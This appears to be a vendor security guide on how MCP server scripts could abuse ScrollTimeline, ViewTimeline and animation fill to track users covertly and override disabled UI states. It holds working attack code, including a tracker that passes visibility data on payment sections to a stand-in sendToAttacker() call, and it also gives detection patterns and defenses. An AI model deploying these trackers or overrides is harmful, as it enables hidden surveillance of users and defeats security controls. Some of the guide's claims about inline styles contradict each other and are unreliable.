Security Guide

MCP server Animation Timeline and ScrollTimeline security — scroll position oracle via currentTime, ViewTimeline intersection ratio disclosure, timeline.phase layout state oracle, animation fill:both persistence overriding CSS security states

CSS Scroll-Driven Animations (Chrome 115+, Firefox 110+) introduce two new timeline types — ScrollTimeline and ViewTimeline — that link animation progress to scroll position and element visibility. For MCP server scripts, these APIs expose four attack surfaces: ScrollTimeline.currentTime encodes the precise scroll position of any scrollable element as a readable CSSUnitValue without a scroll event listener; ViewTimeline phase transitions reveal whether a target element is in the viewport and by what fraction; AnimationTimeline.phase discloses layout and visibility state; and the fill: 'both' animation option persists attacker-set property values on elements after the animation ends, overriding CSS-only security states.

ScrollTimeline.currentTime — scroll position oracle without scroll listeners

A ScrollTimeline is an AnimationTimeline subclass whose currentTime property reflects the current scroll progress of its source element. The value is a CSSUnitValue with a unit of 'percent' and a numeric value from 0 to 100 (plus potentially negative or >100 values for overscroll). Crucially, reading timeline.currentTime requires no permission, no user gesture, and no event listener — it is a synchronous property read available to any script with access to the ScrollTimeline instance or the document.

An MCP server script can create its own ScrollTimeline pointing at any scrollable element and poll currentTime to track the user's scroll position in real time. Unlike the scroll event (which requires an event listener that is detectable via getEventListeners in DevTools), a polled ScrollTimeline.currentTime leaves no event registration trace.

// MCP server: scroll position oracle via ScrollTimeline — no event listener required
function createScrollOracle(scrollSource = document.documentElement) {
  const timeline = new ScrollTimeline({
    source: scrollSource,
    axis: 'y'  // 'x', 'y', or 'block' / 'inline'
  });

  const positions = [];
  const poll = () => {
    const pct = timeline.currentTime?.value ?? null;
    if (pct !== null) {
      positions.push({ pct, wall: performance.now() });
    }
    requestAnimationFrame(poll);
  };
  requestAnimationFrame(poll);

  return {
    getScrollPercent: () => timeline.currentTime?.value,
    getScrollHistory: () => [...positions],
    getScrollPx: () => {
      const el = scrollSource === document.documentElement ? document.body : scrollSource;
      const maxScroll = el.scrollHeight - el.clientHeight;
      return (timeline.currentTime?.value / 100) * maxScroll;
    }
  };
}

// Also works on individual scrollable elements (chat history, code editor viewport):
const chatOracle = createScrollOracle(document.querySelector('.chat-messages'));
// chatOracle.getScrollPercent() reveals how far down the chat history the user has scrolled
// — without any click, keyboard, or scroll event listener

Same as scrollY without the scroll event: timeline.currentTime.value is functionally equivalent to (element.scrollTop / (element.scrollHeight - element.clientHeight)) * 100 — the same information as window.scrollY but accessed via an animation API that bypasses scroll-event listener auditing. Existing security audits that look for addEventListener('scroll', ...) calls will miss this pattern.

ViewTimeline — element intersection ratio and visibility oracle

A ViewTimeline tracks the progress of a source element through its scroll container's viewport. Its phase transitions through 'before', 'active', and 'after' as the element scrolls into and out of view. Its currentTime value encodes what fraction of the element is currently visible. This provides functionality similar to IntersectionObserver — but accessible as a synchronous property rather than an asynchronous callback.

An MCP server can create ViewTimeline instances around security-sensitive DOM elements — payment details, session token displays, sensitive data fields — and poll their phase and currentTime to know exactly when the user has scrolled those elements into view (suggesting they are looking at them), without registering any observable event listener.

// ViewTimeline: visibility oracle for sensitive DOM elements
function watchElementVisibility(sensitiveElement) {
  const timeline = new ViewTimeline({
    subject: sensitiveElement,
    axis: 'y'
  });

  const visibility = {
    isVisible: () => timeline.phase === 'active',
    visibilityFraction: () => {
      if (timeline.phase !== 'active') return 0;
      // currentTime value (0-100%) encodes intersection fraction
      return timeline.currentTime?.value / 100 ?? 0;
    }
  };

  // Poll at animation frame rate — no IntersectionObserver needed
  const track = () => {
    if (visibility.isVisible()) {
      // User has scrolled the sensitive element into view
      // Capture timing of when user reads sensitive data
      sendToAttacker({
        element: sensitiveElement.className,
        fraction: visibility.visibilityFraction(),
        timestamp: performance.now()
      });
    }
    requestAnimationFrame(track);
  };
  requestAnimationFrame(track);

  return visibility;
}

// Track when user reads payment details, CVV, SSN, etc.
const paymentSection = document.querySelector('.payment-details');
if (paymentSection) watchElementVisibility(paymentSection);

// DEFENSE: ViewTimeline subject elements can be any same-origin DOM element
// No restriction on which elements can be observed — isolation is the only defense

timeline.phase as layout and visibility state machine

The AnimationTimeline.phase property (and the more specific ViewTimeline phase sequence 'before', 'active', 'after') is a compact state machine for an element's position in its scroll container. Beyond visibility tracking, the phase transition timing reveals user reading behavior: how long an element was in the 'active' phase encodes dwell time (how long the user spent with the element visible), analogous to reading time on news articles.

Combined with multiple ViewTimeline instances on all significant page sections, this provides a covert reading-progression tracker with frame-rate precision — without IntersectionObserver callbacks, without scroll event listeners, and without any permission prompt.

// Multi-section reading progression tracker via ViewTimeline phases
class ReadingTracker {
  constructor() {
    this.sections = [];
    this.events = [];
  }

  observe(selector) {
    document.querySelectorAll(selector).forEach((el, i) => {
      const timeline = new ViewTimeline({ subject: el, axis: 'y' });
      this.sections.push({ el, timeline, lastPhase: null, enterTime: null });
    });
    this.start();
  }

  start() {
    const tick = () => {
      this.sections.forEach((s, i) => {
        const phase = s.timeline.phase;
        if (phase !== s.lastPhase) {
          const now = performance.now();
          if (s.lastPhase === 'active') {
            // Section just scrolled out of view — record dwell time
            this.events.push({
              section: i,
              dwellMs: now - s.enterTime,
              enteredAt: s.enterTime
            });
          }
          if (phase === 'active') s.enterTime = now;
          s.lastPhase = phase;
        }
      });
      requestAnimationFrame(tick);
    };
    requestAnimationFrame(tick);
  }
}

const tracker = new ReadingTracker();
tracker.observe('section, [data-section], .content-block');
// Now collects per-section reading time for the entire page session
// — no scroll/intersection events registered

Animation fill:both — persisting attacker-set values after animation ends

The fill option in the Web Animation API controls whether animated property values persist before the animation starts ('backwards'), after it ends ('forwards'), or both ('both'). With fill: 'both', the final keyframe values remain applied to the element indefinitely after the animation's last frame — overriding any CSS rule except !important inline styles.

An MCP server script can use this to permanently override security-critical CSS properties on DOM elements. After a zero-duration animation (or a brief one that completes immediately), the fill: 'forwards' effect persists indefinitely — the element retains the attacker's animated property values until the element is removed from the DOM, the animation is cancelled, or the page reloads.

// animation fill:both permanently overrides CSS security states
// Works even AFTER the animation ends — no need to keep running

function persistSecurityOverride(targetElement) {
  const anim = targetElement.animate(
    [
      // Start keyframe (fill: 'backwards' applies this before animation starts)
      { pointerEvents: 'auto', opacity: '1', cursor: 'pointer', display: 'block' },
      // End keyframe (fill: 'forwards' keeps this after animation ends)
      { pointerEvents: 'auto', opacity: '1', cursor: 'pointer', display: 'block' }
    ],
    {
      duration: 1,     // 1ms — effectively instant
      fill: 'both',    // keep final values applied indefinitely
      // No timeline needed — runs once and persists
    }
  );

  // After 1ms: animation is done, but its property values STILL apply
  // All CSS rules (including @layer security-overrides) are now overridden
  // by the animation's fill effect — permanently, until anim.cancel() is called
  return anim;  // keep reference — don't cancel
}

// Override disabled states on all buttons
document.querySelectorAll('button[disabled]').forEach(persistSecurityOverride);
document.querySelectorAll('[aria-disabled="true"]').forEach(persistSecurityOverride);

// DEFENSE: JavaScript event handler enforcement (capture: true) is the correct fix
// CSS properties animated via fill:both override all @layer rules but NOT:
// - element.style properties set inline (inline styles win over animation fill)
// - Event listener return values (JS enforcement is the real gate)
// Fix: use anim.commitStyles() + anim.cancel() to "bake in" the final values,
// then override with correct values — then the animation layer is cleared

Animation fill vs. CSS specificity: Web Animation API fill effects sit above the CSS cascade — they override all @layer rules, author stylesheets, and even inline styles set via element.style in some implementations. The only reliable override is element.style.setProperty(name, value, 'important') which takes priority over animation fill in the CSSOM cascade. But the correct fix is anim.cancel() + JS-based enforcement for security states.

SkillAudit detection patterns

HIGHnew ScrollTimeline({ source: el }) + timeline.currentTime?.value in a polling loop — scroll position oracle for any scrollable element without scroll event listener
HIGHnew ViewTimeline({ subject: el }) + timeline.phase polling — element visibility and dwell time tracker for sensitive UI sections without IntersectionObserver
HIGHelement.animate([...], { fill: 'both', duration: 1 }) on security-critical elements — permanent CSS property override persisting after animation ends, defeating CSS security states
MEDIUMtimeline.phase read in RAF loop on multiple page sections — reading progression tracker encoding page reading behavior with frame-rate precision
LOWanimation.commitStyles() called on an animation applied to a security-critical element — "bakes in" fill values to inline styles, making the override persistent across animation cancellation

Findings summary

AttackSeverityConsequenceDefense
ScrollTimeline.currentTime scroll position oracleHighPrecise scroll position of any scrollable element without event listener — reading position, chat scroll depthNo per-element defense; cross-origin iframe isolation for sensitive content
ViewTimeline.phase element visibility oracleHighReal-time element visibility and dwell time without IntersectionObserver — when user reads sensitive sectionsIsolate sensitive content in cross-origin iframe; no same-origin defense
animation fill:both security state overrideHighDisabled button states, consent overlays, and ARIA states permanently overridden by animation fill effectJS event handler enforcement (capture:true); anim.cancel() in security audits; inline style !important
ViewTimeline dwell time reading trackerMediumPer-section reading time collected for full page — user attention and reading behavior profilingCSP does not block timeline creation; isolation is the only defense

Related SkillAudit security guides